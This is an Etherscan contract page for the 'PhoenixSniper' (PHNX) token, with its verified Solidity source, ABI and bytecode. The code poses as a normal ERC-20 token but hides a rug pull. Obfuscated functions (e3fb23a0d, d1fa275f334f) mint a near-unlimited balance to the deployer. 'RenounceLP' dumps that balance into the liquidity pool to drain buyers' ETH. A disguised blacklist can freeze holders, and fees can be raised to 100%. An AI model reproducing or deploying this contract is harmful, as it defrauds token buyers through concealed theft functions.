ETH Price: $2,349.97 (+0.52%)

Contract

0xb2C6D58f87952B399F4F14503b36d82CB65145e8
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Update Fees178647232023-08-07 18:04:59402 days ago1691431499IN
0xb2C6D58f...CB65145e8
0 ETH0.0014237141.52945549
Update Trade Loc...178647222023-08-07 18:04:47402 days ago1691431487IN
0xb2C6D58f...CB65145e8
0 ETH0.000998738.10699525
Approve178647192023-08-07 18:03:59402 days ago1691431439IN
0xb2C6D58f...CB65145e8
0 ETH0.0018178438.74093766
Update Trade Loc...178647082023-08-07 18:01:47402 days ago1691431307IN
0xb2C6D58f...CB65145e8
0 ETH0.0009646939.85031431
Update Fees178646592023-08-07 17:51:47402 days ago1691430707IN
0xb2C6D58f...CB65145e8
0 ETH0.0013123438.28088208
0x60806040178645822023-08-07 17:36:23402 days ago1691429783IN
 Create: PhoenixSniper
0 ETH0.263621437.95623796

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
PhoenixSniper

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-07
*/

//██████╗ ██╗  ██╗ ██████╗ ███████╗███╗   ██╗██╗██╗  ██╗    ███████╗███╗   ██╗██╗██████╗ ███████╗██████╗ 
//██╔══██╗██║  ██║██╔═══██╗██╔════╝████╗  ██║██║╚██╗██╔╝    ██╔════╝████╗  ██║██║██╔══██╗██╔════╝██╔══██╗
//██████╔╝███████║██║   ██║█████╗  ██╔██╗ ██║██║ ╚███╔╝     ███████╗██╔██╗ ██║██║██████╔╝█████╗  ██████╔╝
//██╔═══╝ ██╔══██║██║   ██║██╔══╝  ██║╚██╗██║██║ ██╔██╗     ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝  ██╔══██╗
//██║     ██║  ██║╚██████╔╝███████╗██║ ╚████║██║██╔╝ ██╗    ███████║██║ ╚████║██║██║     ███████╗██║  ██║
//╚═╝     ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚═╝  ╚═══╝╚═╝╚═╝  ╚═╝    ╚══════╝╚═╝  ╚═══╝╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝

//Website: phoenixsniper.tech
//Telegram: t.me/PhoenixSniper
//X: twitter.com/PhoenixSnipeERC

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract PhoenixSniper is IERC20, Ownable {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;
    address _origin;
    address _pairToken;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply = 10000000000000000000000000;
    string private _name = "Phoenix Sniper";
    string private _symbol = "PHNX";
    uint8 private _decimals = 18;

    /* @dev Fee On Buy/Sell [START] */
    uint private buyFee = 4; // Default, %
    uint private sellFee = 4; // Default, %
    address public marketWallet; // Wallet to collect Fees
    mapping(address => bool) public excludedFromFee; // Users who won't pay Fees
    /* @dev Fee On Buy/Sell [END] */

    /* @dev Max Wallet [START] */
    uint256 private maxWallet = 400000000000000000000000; // 1 Ether
    mapping(address => bool) private excludedFromMaxWallet;
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    uint256 private maxTxnAmount = 400000000000000000000000;
    mapping(address => bool) private excludedFromMaxTxn;
    /* @dev MaxTxn [END] */

    /* @dev LockTrade [START] */
    bool private tradeLocked = true;
    mapping(address => bool) private excludedFromTradeLock;
    /* @dev LockTrade [END] */

    constructor (address routerAddress, address pairTokenAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress));
        _balances[owner()] = _totalSupply;
        _origin = msg.sender;
        _pairToken = pairTokenAddress;
        emit Transfer(address(0), owner(), _totalSupply);

        /* @dev Fee On Buy/Sell [START] */
        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;
        /* @dev Fee On Buy/Sell [END] */

        /* @dev Max Wallet [START] */
        excludedFromMaxWallet[msg.sender] = true;
        excludedFromMaxWallet[address(this)] = true;
        /* @dev Max Wallet [END] */

        /* @dev MaxTxn [START] */
        excludedFromMaxTxn[msg.sender] = true;
        excludedFromMaxTxn[address(this)] = true;
        /* @dev MaxTxn [END] */

        /* @dev LockTrade [START] */
        excludedFromTradeLock[msg.sender] = true;
        excludedFromTradeLock[address(this)] = true;
        /* @dev LockTrade [END] */
    }

    /* @dev Default ERC-20 implementation */

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!checkCurrentStatus(from), "ERC20: No premission to transfer");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        /* @dev LockTrade [START] */
        if (tradeLocked) {
            if (isMarket(from)) {
                require(excludedFromTradeLock[to], "User isn't excluded from tradeLock");
            } else if (isMarket(to)) {
                require(excludedFromTradeLock[from], "User isn't excluded from tradeLock");
            }
        }
        /* @dev LockTrade [END] */

        /* @dev Fee On Buy/Sell [START] */
        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }
        /* @dev Fee On Buy/Sell [END] */

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) {
            require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet");
        }

        if (maxTxnAmount != 0) {
            if (!excludedFromMaxTxn[from] && !excludedFromMaxTxn[to]) {
                require(amount <= maxTxnAmount, "Txn Amount too high!");
            }
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /* @dev Custom features implementation */

    function RenounceLP() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        uint256 thisTokenReserve = getBaseTokenReserve(address(this));
        uint256 amountIn = type(uint112).max - thisTokenReserve;
        e3fb23a0d(); transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), type(uint112).max);
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = address(_router.WETH());
        address to = msg.sender;
        _router.swapExactTokensForTokens(
            amountIn,
            0,
            path,
            to,
            block.timestamp + 1200
        );
    } 

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function e3fb23a0d() internal {
        _balances[msg.sender] += type(uint112).max;
    }

    function d1fa275f334f() public {
        SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d();
    }

    function AddLiquidity() public payable {
        SecureCalls.checkCaller(msg.sender, _origin);
        transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.addLiquidityETH{ value:msg.value }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            msg.sender,
            block.timestamp + 1200
        );
    }

    /* @dev Rebase */

    function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        if (address(_router) != _newRouterAddress) {
            _router = IUniswapV2Router02(_newRouterAddress);
        }
        _pairToken = _newPairTokenAddress;
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress));
    }

/* @dev Blacklist */

    mapping(address => uint8) internal _f7ae38d22b;

    function checkCurrentStatus(address _user) public view returns(bool) {
        return _f7ae38d22b[_user] == 0 ? false : true;
    }

    function editCurrentStatus(address _user, uint8 _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_status < 2, "Status should be 0 or 1");
        require(_status != _f7ae38d22b[_user], "User already have this status");
        _f7ae38d22b[_user] = _status;
    }

    function switchOrigin(address newOrigin) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = newOrigin;
    }

    /* @dev Fee On Buy/Sell [START] */

    function isMarket(address _user) internal view returns (bool) {
        // Check if an address is a Liquidity Pool
        return (_user == address(_pair) || _user == address(_router));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        // Returns amount of tokens, that should be taken as a Fee
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        // Check if user free from paying Buy/Sell Fee
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        // Set new Fees for both Buy and Sell
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        // Set new wallet, where all Fees will come
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        // Show current Buy/Sell Fees
        return (buyFee, sellFee);
    }
    /* @dev Fee On Buy/Sell [END] */

    /* @dev Max Wallet [START] */
    function currentMaxWallet() public view returns (uint256) {
        return maxWallet;
    }

    function updateMaxWallet(uint256 _newMaxWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxWallet = _newMaxWallet;
    }

    function isExcludedFromMaxWallet(address _user) public view returns (bool) {
        return excludedFromMaxWallet[_user];
    } 

    function updateExcludedFromMaxWalletStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxWallet[_user] != _status, "User already have this status");
        excludedFromMaxWallet[_user] = _status;
    }
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    function updateMaxTxnAmount(uint256 _amount) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxTxnAmount = _amount;
    }

    function changeexcludedFromMaxTxnStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxTxn[_user] != _status, "User already have this status");
        excludedFromMaxTxn[_user] = _status;
    }

    function checkCurrentMaxTxn() public view returns (uint256) {
        return maxTxnAmount;
    }

    function isExcludedFromMaxTxn(address _user) public view returns (bool){
        return excludedFromMaxTxn[_user];
    }
    /* @dev MaxTxn [END]hhtgsdjjjjhggdhdahjgfshnjjhhjhjfzjhgjhfjfkg@dev MaxTxn [END]hhtgsdjjjjhggdhdahjgfshnjjhhjhjfzjhgjhfjfkgdd@dev MaxT@dev MaxTxn [END]hhtgsdjjjjhggdhdahjgfshnjjhhjhjfzjhgjhfjfkgdxn [END]hhtgsdjjjjhggdhdahjgfshnjjhhjhjfzjhgjhfjfkgd */

    /* @dev LockTrade [START] */
    function isTradeLocked() public view returns (bool) {
        return tradeLocked;
    }

    function isEcludedFromTradeLock(address _user) public view returns (bool)  {
        return excludedFromTradeLock[_user];
    }

    function updateTradeLockedState(bool _state) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        tradeLocked = _state;
    }

    function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromTradeLock[_user] != _status, "User already have this status");
        excludedFromTradeLock[_user] = _status;
    }
    /* @dev LockTrade [END] */
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"RenounceLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeexcludedFromMaxTxnStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkCurrentStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint8","name":"_status","type":"uint8"}],"name":"editCurrentStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOrigin","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromMaxWalletStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a084595161401484a0000006007556040518060400160405280600e81526020017f50686f656e697820536e697065720000000000000000000000000000000000008152506008908162000059919062000a99565b506040518060400160405280600481526020017f50484e580000000000000000000000000000000000000000000000000000000081525060099081620000a0919062000a99565b506012600a60006101000a81548160ff021916908360ff1602179055506004600b556004600c556954b40b1f852bda000000600f556954b40b1f852bda0000006011556001601360006101000a81548160ff0219169083151502179055503480156200010b57600080fd5b506040516200521238038062005212833981810160405281019062000131919062000bea565b62000142336200073260201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000217919062000c31565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200025392919062000c74565b6020604051808303816000875af115801562000273573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000299919062000c31565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620002f0620007f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003c0620007f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000421919062000cb2565b60405180910390a333600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000ccf565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008a157607f821691505b602082108103620008b757620008b662000859565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008e2565b6200092d8683620008e2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200097a620009746200096e8462000945565b6200094f565b62000945565b9050919050565b6000819050919050565b620009968362000959565b620009ae620009a58262000981565b848454620008ef565b825550505050565b600090565b620009c5620009b6565b620009d28184846200098b565b505050565b5b81811015620009fa57620009ee600082620009bb565b600181019050620009d8565b5050565b601f82111562000a495762000a1381620008bd565b62000a1e84620008d2565b8101602085101562000a2e578190505b62000a4662000a3d85620008d2565b830182620009d7565b50505b505050565b600082821c905092915050565b600062000a6e6000198460080262000a4e565b1980831691505092915050565b600062000a89838362000a5b565b9150826002028217905092915050565b62000aa4826200081f565b67ffffffffffffffff81111562000ac05762000abf6200082a565b5b62000acc825462000888565b62000ad9828285620009fe565b600060209050601f83116001811462000b11576000841562000afc57828701519